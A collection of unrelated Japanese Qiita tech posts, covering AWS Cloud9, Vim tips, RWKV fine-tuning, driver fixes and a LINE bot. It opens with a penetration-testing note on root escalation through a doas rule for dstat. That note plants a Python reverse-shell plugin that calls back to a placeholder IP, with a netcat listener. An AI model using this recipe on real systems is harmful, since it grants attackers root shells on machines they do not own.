OmniAICreator/Qiita-1.07M huggingface dataset:
Doas を利用した権限昇格 

脆弱性検査において、権限昇格で見たことがなかったパターンに遭遇したので記載しておく。

TL;DR 
Doasというコマンドがあり、/usr/local/etc/doas.confに遭遇
ルート権限でコマンドが実行できる！

サーバーを検査していると以下の設定を見つける。

```bash
permit nopass player as root cmd /usr/bin/dstat
```

/usr/bin/dstat というLinuxのシステムコマンドがあり、pythonで記載されている。

以下にsudoを利用したdstatの権限昇格の例がある。dstatはカスタムプラグインが簡単にかけ、それを実行できる。ルート権限で動かせると、それのプラグインもルート権限で動作する。

https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-dstat-privilege-escalation/

これをdoasを利用して同じことをしてみる。

まず、dstatのディレクトリを確認する
```bash
find / -type d -name dstat 2>/dev/null
```

書き込み権限があるか確認
```bash
ls -al /usr/local/share/dstat
```

PythonのReverse Shellをプラグインとして登録する。

```bash
echo "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('X.X.X.X',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);" > /usr/local/share/dstat/dstat_temp.py
```
Kali側では以下で待機する。

```bash
nc -nlvp 4444

```

権限昇格コマンドは以下を実行。

```bash
doas -u root /usr/bin/dstat --temp
```

ハッピーハッキング
共有されたCloud9環境をコンソールに表示する

# はじめに
コンソールが変わった後のCloud9での共有環境の確認方法について、やっとわかったので記事にしました。


# 概要
以下がリストになっており、そこで選択します。「テキストボックスで、フィルターさせる文字列を入力する欄」ではなかったです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/553680/dab6a179-30c8-d4c5-c7c2-e718bc86b4c5.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/553680/d49b37f3-05b5-f9c6-8ebb-039ba86efd46.png)

Cloud9環境の共有については、以下を確認ください。

https://docs.aws.amazon.com/ja_jp/cloud9/latest/user-guide/share-environment.html

https://qiita.com/a_b_/items/64a3c8479f22ece52ee8


# 経緯
共有されたCloud9は、昔のコンソールでは左ペインで一覧が表示できました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/553680/12cf4b9d-9d9e-56ed-df51-9ee4e3d5f8f6.png)

昔のコンソールの画像は持ち合わせていなかったので、以下のサイトから拝借しました。

https://www.yamamanx.com/cloud9-environment-share/

ですが、今のCloud9のコンソール画面は以下のように、左ペインは寂しいものになっています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/553680/88861679-85cd-8f91-563d-7ad7c2a0840b.png)

開発環境を共有する必要に迫られ、コンソール上に共有環境を表示させる方法を調べていたのですが、情報が見当たらず途方に暮れておりました。
ダメ元で、「フィルターのテキストボックスに環境名を入れてみるか」と思ったら、そこがリストになっていることに気づきました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/553680/44cda0fd-fce5-21f9-2066-5f6dbf285cd8.png)

# おわりに
今回は共有されたCloud9環境をコンソールから確認する方法を記事にしました。

気づいてしまえば簡単なことですが、他のサービスではフィルターのテキストボックスがある場所のため長く思い込んでおり、気づくのに大変時間がかかりました。
同じような方の助けや、ChatGPTのデータになれば幸いです。
doveadmコマンド

●doveadmコマンド
Dovecotの設定の再読み込みや、プロセスの停止など、さまざまな管理行う。

コマンドの書式
doveadm サブコマンド

主なサブコマンド

・config　設定内容を表示する
・reload　設定を再読み込みする
・stop　Dovecotを停止する
・mailbox　メールボックスを管理する
・pw　パスワードを生成する。-s:パスワード形式を指定(デフォルトはCRAM-MD5)
・who　サーバにログイン中のユーザの情報を表示(ユーザー名、pid、IPアドレスなど)
DatabricksでDollyデータセットによるRWKVのファインチューニングを試す

さらにこちらの続きです。

https://qiita.com/taka_yayoi/items/e1964d4c0648aac0b3c9

元々はこちらの記事にまで辿り着きたかったのでした。

https://note.com/npaka/n/n91e6dfecd034

ノートブックはこちらです。

https://github.com/taka-yayoi/public_repo_2/blob/master/rwkv/rwkv_dolly_fine_tuning.py

データセットは、Dollyの`databricks-dolly-15k`の日本語訳です。作成していただいた方ありがとうございます！

https://huggingface.co/datasets/kunishou/databricks-dolly-15k-ja/blob/main/databricks-dolly-15k-ja.json

元々のデータはJSON形式なのでChatRWKV用に変換に変換します。パスの部分はDatabricksのDBFSを指定しています。

```py:Python
import json

# JSONの読み込み
def read_json(filename):
    with open(filename, "r") as f:
        return json.load(f)

# テキストファイルの書き込み
def write_text(filename, text):
    with open(filename, "w") as f:
        f.write(text)

# プロンプトの生成
def generate_prompt(instruction, input, output):
    if input != "":
        return f"""Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request.

# Instruction:
{instruction}

# Input:
{input}

# Response:
{output}


"""
    else:
        return f"""Below is an instruction that describes a task. Write a response that appropriately completes the request.

# Instruction:
{instruction}

# Response:
{output}


"""

# JSONの読み込み
dataset = read_json(f"{rwkv_dir_local}/databricks_dolly_15k_ja.json")

# テキストの生成
output = ""
for item in dataset:
    if len(item.keys()) > 0:
        output += generate_prompt(
            item["instruction"].strip(),
            item["input"].strip(),
            item["output"].strip()
        )

# ファイル出力
write_text(f"{rwkv_dir_local}/databricks_dolly_15k_ja.txt", output)
```

他の部分は[以前](https://qiita.com/taka_yayoi/items/e8bc4dad7481e25e2d57)と同じですが、プロンプトを入力する部分を関数にしています。

```py:Python
def dolly_generate(prompt):
  # Instructプロンプトの生成
  prompt = generate_prompt(prompt)
  #print("--[prompt]--\n" + prompt + "----")

  # パイプラインの実行
  result = pipeline.generate(prompt, token_count=200, args=args)
  return result
```

```py:Python
result = dolly_generate("人工知能の活用方法")
print(result)
```

```
人工知能の活用方法は、特に一般的な活用方法があります。最初の活用方法は過去に書かれていますが、人工知能の活用方法は、一般的に書かれています。しかし、それは人工知能の活用方法です。
```

うーん、とりあえず動いたというレベル。もっといろいろ試してみます。

### Databricksクイックスタートガイド

[Databricksクイックスタートガイド](https://www.amazon.co.jp/dp/B09V1YXFVQ/)


### Databricks無料トライアル

[Databricks無料トライアル](https://databricks.com/jp/try-databricks)
情報セキュリティマネジメント（SG）試験　知的財産権

情報セキュリティマネジメント（SG）試験

知的財産は
- 産業財産権
- 著作権

に分かれる。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/628630/733fa542-2e09-4c66-c526-4a31f15b356e.png)
タスク管理も仕事のひとつ

チームで開発をしていると、マネジメントという仕事も発生します。
そして、マネジメントで大事になってくるのは、タスクの管理です。

どの開発がどこまで進んでいるのか？
どこで遅れが発生しているのか？
また、遅れは技術的に難しいものか、作業量的に難しいものなのか。

ウォーターフォール型の開発かアジャイル型の開発によっても変わってきますが、「チケット」でタスク管理をするのが現在では一般的です。

## チケットでタスクの管理を

チケットは、タスクの進捗状況や担当者の情報を書いて管理してくれます。
JiraやBacklog、Redmineのようなツールを使ったり、メールやSlackでタスクを追いかけたりしますね。

多くの場合、ひとつのタスクに複数人の担当者が発生します。
例えば、ホームページ製作なら、デザインの担当、コードの担当など複数の担当者が登場します。

なので、チケットはプロジェクト、またはタスクを分かりやすく・簡潔にまとめていることが大事です。
**以下の情報は、必須です。**

* タスクの概要
* タスクの詳細
* 担当者
* 優先度
* 期限
* 進捗状況

タスク管理は、どの仕事でも同じです。
新人さんが多い時期なので、プロジェクトに入って間もない人は、まずチケットで管理することに慣れるの推奨します。
1つ目のプロジェクトで仕事に慣れると、転職やフリーランスなど仕事を変える時にも役立ちますからね。

### さいごに
チケットでタスク管理するのは、「何を」「誰が」「いつまでに」「どうやって」を管理することで、プロジェクト全体の進捗状況を管理できます。

さらに、何の進捗が遅れているのか・課題の発見にも効果的です。
実践Vimを読んで個人的に今後使うTips覚書

# 実践Vim（Practical Vim）を読んで
emacsからという禁忌の乗り換えを行っておよそ1年程度が経過した。
ある程度は使えるようになってきたか、、、？と思っていたところで
名著と名高い”実践Vim”を読んでみた。
まだ6割（感覚値）もVimの実力を発揮できていないと感じたので
これは、今後個人的に取り入れるべきと思ったTipsをメモとして入力する。
完全に覚書で前提知識などを書いていなかったりするので万が一
これをみて参考にされる際などはご留意お願いしたい。

## register貼り付け

### yankの保存先
"0 レジスタにはyankされたものが入って、`d`コマンドでカットされた
ものは入らないので、置換する際に
`yiw` して目的の単語に移動して`diw"0p`
と入力すれば`d`コマンドを利用しても問題ない。
（dでカットされた値は”一時レジスタに格納される）

ただ、自分も筆者の方がおっしゃられているのと同様に
`ve`でヴィジュアルモード選択して上から`p`を押すのが最も美しく思える。


## visual モード
### `gv`コマンドの活用
シンプルにこれは全く使っていなかったが有用だと感じた。
ただ、qwerty配列においてどういう運指が最適なのだろうか、、
g@右人 -> v@左人 とかだろうか、、

### `o`キー
始点と終点を入れ替える。強力無比に思えるが全く知らなかった。


## `:g(lobal)/{pattern}/[cmd]` の活用 (TODO アイテムの収集)

今回のポイントとなるコマンドは以下である。
```:g/TODO/yank A```
大文字Aとなっているのは理由がある。
複数行をレジスタに格納するためだ。
もし、小文字のaとだけ入力してしまった場合最後の1文のみしか
レジスタには保存されていない。

以下のような例文があったとして
```
Markdown.dialects.Gruber = {
    lists: function() {
        // TODO: Cache this regexp for certain depths.
        function regex_for_depth(depth) { /* implementation */ }
    },
    "`": function inlineCode( text ) {
        var m = text.match( /(`+)(([\s\S]*?)\1)/ );
        if ( m && m[2] )
            return [ m[1].length + m[2].length ];
        else {
            // TODO: No matching end code found - warn!
            return [ 1, "`" ];
        }
    }
}
```

`"ap` の実行結果として
小文字a の場合
```
            // TODO: No matching end code found - warn!
```
大文字A の場合
```
        // TODO: Cache this regexp for certain depths.
            // TODO: No matching end code found - warn!
```

といった結果となる。
これは`:argdo`と組み合わせることでプロジェクト全体のTODOを集めることもできる。
また、`qaq`といったレジスタを空にするといった前処理も必要となる。

# あとがき
数ポイント今後使いたいなと思ったTipsを覚書として記した。
何回か手を動かしながら読んでみて、まだ取り入れられていないものなど
頭の片隅に置いておき、使うべき場面が来た際に索引できるといいかも。
CloudTechというAWS学習サービスで、SAA試験に１ヶ月で合格したお話

## 結論🍞
3/13にCloudTechに入会しました。
4/15のSAA試験を「846点」で合格できました。
（満点：1000点、合格最低点：710点）

学習教材はCloudTechのみで、スムーズに合格できたので記事にしました。

## 筆者について🍞
社内SEをやっており、応用情報技術者くらいの知識は広く浅く持っています。
ただ、AWSはほぼ未経験で、EC2とは？S３とは？という状態でした。

## Cloud techとは？🍞
日本最大級のAWSオンライン学習プラットフォームらしいです。
YoutubeでAWS資格について調べていると、必ず検索で出てくる「くろかわこうへい」さんが運営しています。
　
<iframe width="560" height="315" src="https://www.youtube.com/embed/lJTh8n_q3Zw" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>

特にこだわりがなく、CloudTechで学習をスタートしましたが、
試験後の感想としては、**CloudTechを選択して正解でした。**

その理由は、
CloudTechの試験対策コースが、本試験の問題とかなり近かったためです。

4/1に資格対策コースが刷新し、対策問題数が800->230に減ったようですが、230問で十分な試験対策ができたと思います。
他のAWS学習サービスについては知らないですが、SAA取得を目指すなら、CloudTechをお勧めします。

## 勉強方法🍞
CloudTechしかやってないので非常にシンプルです。
1. １ヶ月先のSAA試験を申し込む

2. はじめの３週間（計40時間ほど）は、レッスン動画を視聴・ハンズオンを実施しました。これでインフラの知識、AWSの全体像と各サービスの特徴について、徐々に理解が深まってきます。

3. 試験前の1週間（計30時間ほど）は、SAA資格演習対策コースを実施しました。全部で230問あります。
１周目は、正答率6０％ほどでした。解説が丁寧でボリューミーで、ここで20時間ほど費やしました。
２周目は、不正解部分のみを解いて、正答率が80%ほど。
３周目は、さらに不正解部分のみを解いて、正答率が90%ほどになりました。

正直、がっつり試験対策をしたのが１週間だけだったので、不安でした。
ただ、本試験の問題を解いているうちに、これも見たことある問題だな〜、これも見たことあるな〜
というのが重なっていき、試験中に自信がどんどん溢れ出てきて、合格できました。

## 試験を終えて🍞
他の教材をみてないので比較対象はありませんが、CloudTechで勉強するのはおすすめです。
資格対策230問を暗記で勉強すれば、資格試験は合格できると思います。
レッスン動画やハンズオンを並行して実施することで、実践力も身につきました。

## P.S.🍞
CloudTeckの回し者ではないです。
ただ、本当に試験が余裕すぎたので、SAA取得したい人は、みんなCloudTechでいいんじゃねって、思いました。
高額な試験なのに、合格率が50%ほど？らしいので、
そんな方は検討してみてください。

https://kws-cloud-tech.com/
AMDのディスプレイドライバーを更新後、radeon softwareが開けない問題への対処法

# 現象
AMDのディスプレイドライバーを更新後、以下のダイアログが表示され、radeon softwareが開けない
(場合によっては日本語で表示されます)
![スクリーンショット 2023-04-15 215233.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2357932/a81ee603-fb30-e511-b7ac-d53e38cbe365.png)

# 原因
windows update で取ってくるバージョンと競合してしまっているため

# 対処法
`デバイスマネージャー > ディスプレイアダプター`を選択
![スクリーンショット 2023-04-15 215330.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2357932/71e21b5b-0eec-7399-8403-cee052da80d1.png)
右クリックから`ドライバーの更新 > コンピュータを参照してドライバーを検索`を選択
![スクリーンショット 2023-04-15 215401.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2357932/d4cfb18f-fea9-0c8c-62b2-2afac48d5bf9.png)
`コンピューター上の利用可能なドライバーの一覧から選択します`を選択
![Inkedスクリーンショット 2023-04-15 215423.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2357932/55a80bad-9cc3-e930-c28f-1ebf0dffcaa1.jpeg)
最新のバージョンを選択し、`次へ`を選択します
※ここでは`31.0.14043.1000 [2023/03/15]を選択しています`
![スクリーンショット 2023-04-15 215509.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2357932/8780057c-89f3-8a3d-8374-b324de64800d.png)
ドライバーの更新が行われるので待機します
(ディスプレイの描画が崩れたりしますが気にしないでください)

更新が終わったらPCを再起動します
再起動後、以下を確認し問題がなければ終了です
* ディスプレイの描画に問題が無いか
* radeon softwareを開けるか
* バージョンを正常に更新できたか
![スクリーンショット 2023-04-15 221831.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2357932/bbab0861-dba0-422a-bffa-ec9628d15f35.png)


# 参考
https://redo495.blog/7629/
【Android】Realm10.0にアップデート後RealmExceptionで落ちてしまう場合の暫定的な対応方法

# はじめに
久しぶりAndroidの記事を書きます、今回は比較的古いプロジェクトの更新作業を行なっていた際にRealmExceptionでクラッシュしてしまうようになってしまった箇所の暫定的な対応方法を備忘録的にまとめておこうと思います。
あくまで暫定対応なので、この対応の後にしっかりと時間を作って対応しましょう。

# 対応方法
まず、今回のエラーの詳細は以下になります。

```
io.realm.exceptions.RealmException: Running transactions on the UI thread has been disabled. It can be enabled by setting 'RealmConfiguration.Builder.allowWritesOnUiThread(true)'.
```
以上になります。
Realm10.0以上にアップデートすることで発生するエラーのようですが、どうやらこのバージョンからUIスレッドで処理できないようになっているようです。
当然と言えば当然ですよね、UIスレット止めてしまったら他の処理ができなくなってしまうので。

今回の対応に関する内容はログにも記載されていますが、RealmConfigurationにallowWritesOnUiThreadを設定すれば改善自体は可能です。

```Application.kt
val realmConfiguration = RealmConfiguration.Builder()
            .allowWritesOnUiThread(true) // 追加
            .build()
```
対応としては上記で以上なのですが、先ほども述べた通りUIスレッドを止めてしまうのはパフォーマンス的によくありません。
古いプロジェクトですと、すぐに対応が難しいケースがあると思いますので、その場合にのみ使用するのが良いと思います。
10.0からtransaction処理もCoroutinesで実装できるよう、executeTransactionAwaitが追加されていたりとCoroutinesに置き換えるための機能が盛り込まれているので、最終的にはこちらに置き換えるようにしましょう。

# さいごに
過去の負債を取り払うのは至難の業ですが、少しずつでもリファクタリングを心がけていきたいですね。
Googleデータアナリティクス：分析のステップ

# はじめに

本記事は、Googleデータアナリティクスのプロフェッショナル認定証のプログラムより、参照させて頂いています。興味を持った方は、是非受講してみてください。

https://www.coursera.org/professional-certificates/data-analytics-japanese

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2358573/21a12cb1-a49a-802f-d903-6f68758eca0c.png" width="800">

# 分析とは

***<font color="MediumVioletRed">『収集したデータの意味を 理解するためのプロセス』</font>***

つまり、正しい手順を踏んで データについてさまざまな方法で 考えることです。 

分析の目的は、

***<font color="MediumVioletRed">『データの中の 傾向や関連性を特定し 問いかけに対して、正確に 答えられるようにすること』</font>***

# 分析の4つのステップ

- ***<font color="MediumVioletRed">「データを整理する（データセットにする）」</font>***
- ***<font color="MediumVioletRed">「データをフォーマット化して調整する」 </font>***
- ***<font color="MediumVioletRed">「外部から情報を収集する」 </font>***
- ***<font color="MediumVioletRed">「データを変換する」</font>***

### シナリオ

友人である、Zara の結婚式のために ギフトを購入したいとします。 

***【問題は、どんなものを贈ればよいか わからない】***

### <font color="MediumBlue">1.データを整理する</font>

幸い、皆さんは彼女が結婚式用に作成した Web サイトから大量のデータを得られます。

ここでは、彼女の Web サイトにある 資料を読んだり、 彼女とパートナーのアルバムにある 写真を確認したりするよりも オンラインのレジストリ、つまり 彼らが喜びそうなものをまとめた ウィッシュリストにアクセスするのが よさそうです。 レジストリはデータ分析でいうところの データセットのようなものです。 それを分析することで 意思決定ができるのです。

### データの整理の方法

***<font color="MediumVioletRed">『整理とは、 必要なデータをすばやく簡単に、 検索できるようにすること』</font>***

- **並べ替え**
    - データを 意味のある順番に並べることで 理解、分析、視覚化しやすくします。 
    - 指定の測定指標に基づき データを並べます。
    - 例）映画の上映時間を早いものから 遅いものへと並べ替える。
- **フィルタ**
    - 特定の条件を 満たすデータのみを表示し それ以外を隠します。 
    - 一般的には、大量のデータから結果を 絞り込みたい場合に使用します。
    - 例）検索結果を画像だけにする。
- **ピボットテーブル**
    - ピボットテーブルの行、および列の項目は、まず任意のカスタムリストに基づいて昇順に並べ替えられます。

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2358573/250b545c-dfe5-0a4f-0005-a7ebd3db5ef4.png" width="500">

### <font color="MediumBlue">2.データをフォーマット化して調整する</font>

さて、レジストリの整理されたデータを チェックするわけですが データのリスト、この場合は ギフトのリストが 見やすいように フォーマット化されているかどうかを 確認する必要があります。 データのフォーマットは 効率的で時間の節約になります。 何百ものギフトをスクロールするのは 時間のかかる作業ですが、 かわりにデータをフィルタリングしたり 並べ替えたりすれば、見やすく整理できます。 
- 例えば、予算が決まっている場合 ギフトの価格を低いものから高いものへと 並べ替えます。
- 次に予算 60 ドル以内の ギフトを含むように 価格をフィルタリングします。 そうして、新規にフォーマットした データのリストを使用します。 

### <font color="MediumBlue">3.外部から情報を収集する</font>

情報を分析し 決断する際には、他の人からの意見が 有益です。 ギフトのリストを見てもらえば 誰かがすでに買ったものがないか 分かります。 リストの中のいくつかの商品が すでに購入されていることがわかれば それが皆さんの決断に役立ちます。 

データを分析する際 外部からの情報を得ることは 自分では理解できない、あるいは アクセスできない視点を得られるので 有用です。 また、他の人の意見を聞くだけでなく 他の人の視点を 早めに知っておくことも重要です。 そうすることで、障害や課題があっても 事前に知ることができます。 

意見を求める相手は 専門家でなくてもかまいません。 あるトピックやデータについて 詳しい人がいれば それで十分な場合もあります。 たとえばこの例では、Zara の結婚式の 招待客は、同じオンラインレジストリから ギフトを購入することになります。 彼らは結婚式のギフトの 専門家ではありませんが 彼らが協力して購入した商品に マークを付けることで 買ってはいけないものを把握でき Zara が同じギフトを受け取らないよう にできます。 つまり、他の人の意見は 分析上大変貴重なものなのです。 
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2358573/322fb8c0-a7f5-f469-d95e-9954f8bb1650.png" width="600">

### <font color="MediumBlue">4.データを変換する</font>

データ変換とは データ間の関連性やパターンを特定し 手持ちのデータに基づいて 演算することです。 今回の例では、Zara が好きそうで かつ予算に合ったものを 選ぶことができたことと 思います。 

また、他の人がまだ買っていないものを 選ぶこともできました。 これらの　***<font color="MediumVioletRed">データの関連性を見つける</font>***　ことで 解決したい課題に対する答えとなる ギフトを選んで購入し、 Zara に送ることができたのです。
ChatGPT for Mac & Desktop

## Windows
Seamless GPT
https://ashxd.gumroad.com/l/seamlessGPT

chat-ai-desktop(Mac, Windows and Linux)
https://github.com/sonnylazuardi/chat-ai-desktop

ChatGPT(Mac, Windows and Linux)
https://github.com/lencx/ChatGPT


## macOS
AnyGPT
https://saasgpters.com/listing/anygpt/

GPTAnywhere
https://timgerstel.gumroad.com/l/GPTAnywhere

Quaffle
https://www.quaffle.app/

chatgpt-mac
https://github.com/vincelwt/chatgpt-mac?ref=saasgpters

Raycast AI
https://www.raycast.com/ai

Halist macOS AI
https://halist.ai/mac

MacGPT
https://goodsnooze.gumroad.com/l/menugpt

Shello.ai
https://www.shello-ai.com/homepage

new-man
https://github.com/weykon/new-man?ref=saasgpters

ChatGPT-MenuBar
https://github.com/KittenYang/ChatGPT-Mac-MenuBar

WriteMage
https://writemage.com/

Chatterbox for ChatGPT
https://manuelkehl.com/apps/chatterbox/
arch linuxにEdgeをインストールする恣意的ノート


### 本体のインストール
```
yay -S microsoft-edge-dev-bin
```

としてedge本体をインストール。

### addonのインストール

addon(拡張機能)として、
・auto tab discardをインストール
・Save & Repost Instagramをインストール
・twitter video downloaderをインストール
・Ad block　ultimateをインストール

youtubeや大概のサイトの動画のダウンロードは、yt-dlpでできます。

拡張機能のインストールは、メモリ節約のため、必要最小限にする。

### メモリの節約

Edgeを開いてGPUアクセラレーションを無効にします。

そして、/usr/share/applications/microsoft-edge-dev.desktopのExecのラインに --renderer-process-limit=3を付けてメモリの節約。
Edgeのインストール後、下記のコマンドを一回だけ実行して下さい。/usr/share/applications/にある.desktopファイルを書き換えます。

```
sudo sed /usr/share/applications/microsoft-edge-dev.desktop -e 's/Exec.*dev/Exec=\/usr\/bin\/microsoft-edge-dev --renderer-process-limit=3/' | sudo tee /usr/share/applications/microsoft-edge-dev.desktop >/dev/null
```
MediatekのReset Status

WatchdogをサポートしたSOCでは起動の理由をレジスタで持っていることが多いです。RT3050のデーターシートはこうあります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/104066/1990a9b5-156e-f5c7-5184-77a378306744.png)

sysctlのmibにしてみました。

https://github.com/ZRouter/freebsd-src/commit/acccf7fa25504763468e81322b9768f88c09e822

電源入り -> dev.mtk_wdog.0.rststat = 0
reboot -> dev.mtk_wdog.0.rststat = 4
watchdog -> dev.mtk_wdog.0.rststat = 2

なぜこれが必要だったかは、また別に書きます。

ステータスは書き込んでクリアする必要がありました。書いてありますよね。データーシートはちゃんと読みましょう。
ChatGPTに書いてもらった記事：おうむ返しLINEbotの作り方

ChatGPTの出力をコピペしただけです笑
Markdownなどもお任せです。
必要最低限の手順は書かれてますね。モデルはGPT-4にしてます。すげっ

https://twitter.com/h2m_kinoko/status/1647420081998282753

以下が、ChatGPTの出力をコピペです。

# Google Apps ScriptでLINE botをデプロイする方法

## 1. LINE DevelopersでLINE botを作成
1. LINE Developersのサイト(https://developers.line.biz/ja/)にアクセスし、ログインします。
2. 「プロバイダー」を作成します。
3. 「チャネル」を作成し、「Messaging API」を選択します。
4. 必要な情報を入力してチャネルを作成します。

## 2. Messaging APIの設定
1. 「LINE@」の利用規約に同意します。
2. 「Webhook送信」を有効にし、「応答メッセージ」および「応答アクション」を無効にします。
3. 「チャネルアクセストークン」を発行します。このトークンは後でGASに設定するため、メモしておいてください。

## 3. Google Apps Scriptで新しいプロジェクトを作成
1. GASのサイト(https://script.google.com)にアクセスし、ログインします。
2. 新しいプロジェクトを作成し、プロジェクト名を設定します。

## 4. GASにコードを追加
1. コード.gsに以下のコードを追加し、先ほど発行したチャネルアクセストークンを設定します。

```javascript
const CHANNEL_ACCESS_TOKEN = 'YOUR_CHANNEL_ACCESS_TOKEN';

function doPost(e) {
    const contents = JSON.parse(e.postData.contents);
    const events = contents.events;
    events.forEach(handleEvent);
}

function handleEvent(event) {
    if (event.type === 'message' && event.message.type === 'text') {
        replyText(event.replyToken, event.message.text);
    }
}

function replyText(replyToken, text) {
    const url = 'https://api.line.me/v2/bot/message/reply';
    const headers = {
        'Content-Type': 'application/json; charset=UTF-8',
        'Authorization': 'Bearer ' + CHANNEL_ACCESS_TOKEN,
    };
    const payload = {
        replyToken: replyToken,
        messages: [
            {
                type: 'text',
                text: text,
            },
        ],
    };

    const options = {
        method: 'post',
        headers: headers,
        payload: JSON.stringify(payload),
    };

    UrlFetchApp.fetch(url, options);
}
```
## 5. GASでデプロイ
1. GASエディタの上部メニューから、「公開」>「ウェブアプリケーションとして導入」を選択します。
2. デプロイ設定で、「アクセス可能なユーザー」を「全員（匿名ユーザーを含む）」に設定します。これにより、LINE botがGASのエンドポイントにアクセスできるようになります。
3. デプロイ設定を保存し、表示される「ウェブアプリケーションURL」をメモしておきます。このURLは後でLINE DevelopersのWebhook URLとして設定します。

## 6. Webhook URLの設定
1. LINE Developersのダッシュボードに戻り、Messaging APIの設定ページにアクセスします。
2. 「Webhook URL」に、先ほどメモしたGASのウェブアプリケーションURLを入力し、「更新」をクリックします。
3. Webhook URLの設定が正しいことを確認するために、「Webhook検証」ボタンをクリックし、成功メッセージが表示されることを確認します。

これで、GASを使ってLINE botがデプロイされました。LINEアプリでチャネルのQRコードを読み取り、チャットルームに参加させることで、ボットとテキストメッセージをやりとりできます。このサンプルコードはエコーボット（入力されたテキストをそのまま返すボット）になりますが、handleEvent関数をカスタマイズすることで、さまざまな機能を追加できます。

## 参考
https://www.youtube.com/live/IyH8b6y3SJ8?feature=share
WSLでnpm uninstall時にpermission deniedエラーが出る

WSL上に環境構築したnpmでパッケージ管理しているプロジェクトで、ライブラリをuninstallするときに、以下のエラーが出た。

~~~
$ npm install {ライブラリ名}

npm ERR! code EACCES
npm ERR! syscall rename
npm ERR! path /home/~/project/frontend/node_modules/ansi-colors
npm ERR! dest /home/~/project/frontend/node_modules/.ansi-colors-fx0IfCCD
npm ERR! errno -13
npm ERR! Error: EACCES: permission denied, rename '/home/~/project/frontend/node_modules/ansi-colors' -> '/home/~/project/frontend/node_modules/.ansi-colors-fx0IfCCD'
npm ERR!  [Error: EACCES: permission denied, rename '/home/~/project/frontend/node_modules/ansi-colors' -> '/home/~/project/frontend/node_modules/.ansi-colors-fx0IfCCD'] {
npm ERR!   errno: -13,
npm ERR!   code: 'EACCES',
npm ERR!   syscall: 'rename',
npm ERR!   path: '/home/~/project/frontend/node_modules/ansi-colors',
npm ERR!   dest: '/home/~/project/frontend/node_modules/.ansi-colors-fx0IfCCD'
npm ERR! }
npm ERR! 
npm ERR! The operation was rejected by your operating system.
npm ERR! It is likely you do not have the permissions to access this file as the current user
npm ERR! 
npm ERR! If you believe this might be a permissions issue, please double-check the
npm ERR! permissions of the file and its containing directories, or try running
npm ERR! the command again as root/Administrator.

npm ERR! A complete log of this run can be found in:
npm ERR!     /home/~/.npm/_logs/2023-04-15T23_20_51_237Z-debug-0.log
~~~

ワークアラウンドは以下の通り
①エディタのウィンドウを閉じる（その他WSLのターミナルを開いているウィンドウは全部閉じる）
②WSLのWindowsアプリを管理者権限で実行
③プロジェクトのフォルダに移動して、npm uninstallを実行
UnityでMac向けのリリースビルド時の`Hoge_BurstDebugInformation_DoNotShip`フォルダについて

# UnityでMac向けのリリースビルド時の`Hoge_BurstDebugInformation_DoNotShip`フォルダについて

## Burstコンパイラとデバッグ情報フォルダ

UnityでMac向けのリリースビルドを行う際、`MetaWork_BurstDebugInformation_DoNotShip`というフォルダが生成されることがあります。このフォルダは、UnityのBurstコンパイラによって生成されたデバッグ情報を格納するためのものです。Burstコンパイラは、ネイティブコードを高速化するためのUnityのコンパイラで、ジョブシステムやエンティティコンポーネントシステム(ECS)など、Unityの高パフォーマンスプログラミングモデルをサポートしています。

通常、このフォルダは開発者向けであり、リリースビルドには含めないことが推奨されています。そのため、フォルダ名に"DoNotShip"が含まれています。

## デバッグ情報の生成を無効にする方法

1. Unityエディタで`Window` > `Burst` > `Burst Compiler Configuration`を選択して、Burstコンパイラの設定ウィンドウを開きます。
2. `Debug Information`のドロップダウンメニューをクリックし、`None`を選択します。これにより、デバッグ情報が生成されなくなります。

これらの手順を実行した後、再度ビルドを行うと、`Hoge_BurstDebugInformation_DoNotShip`フォルダが生成されなくなるはずです。

## アプリの配布時には不要

他の人にアプリを配布する場合、`MetaWork_BurstDebugInformation_DoNotShip`フォルダは通常必要ありません。エンドユーザーには関係なく、アプリの実行にも影響を与えません。アプリを他の人に配布する前に、このフォルダを削除してください。

最終的なリリースビルドでは、アプリのサイズを最小限に抑え、パフォーマンスを向上させるために、不要なファイルやフォルダを取り除くことが一般的です。
AWS SES SMTP認証情報を作成と削除をしてみた

# はじめに
簡単に説明すると、SESサービスはメールを送信することが出来るAWSサービスです。

メール送信には SMTP インターフェイスとSESのAPIを使用してメール送信可能です。

今回はSMTP インターフェイスにてメール送信する場合は、
SES SMTP インターフェイスにアクセスするには、Amazon SES SMTP 認証情報が必要とのことのため、
SES SMTP認証情報の作成してみました。

以下の記事を参考にしました。
https://docs.aws.amazon.com/ja_jp/ses/latest/dg/smtp-credentials.html
https://www.karakaram.com/sending-email-using-amazon-ses-smtp-interface/

**SMTP認証情報はIAMから作成出来ません SESのSMTP認証情報から作成する必要があります**


SESのSMTPユーザーについて詳しく記載されていて、以下の記事が参考になりました。
https://qiita.com/tomatoyasan/items/903b15ea2bdc9f526fe6


# 作成手順

**サービス >> SES >> 左ペインのSMTP設定をクリックしてSMTP認証情報の作成をクリックしました**
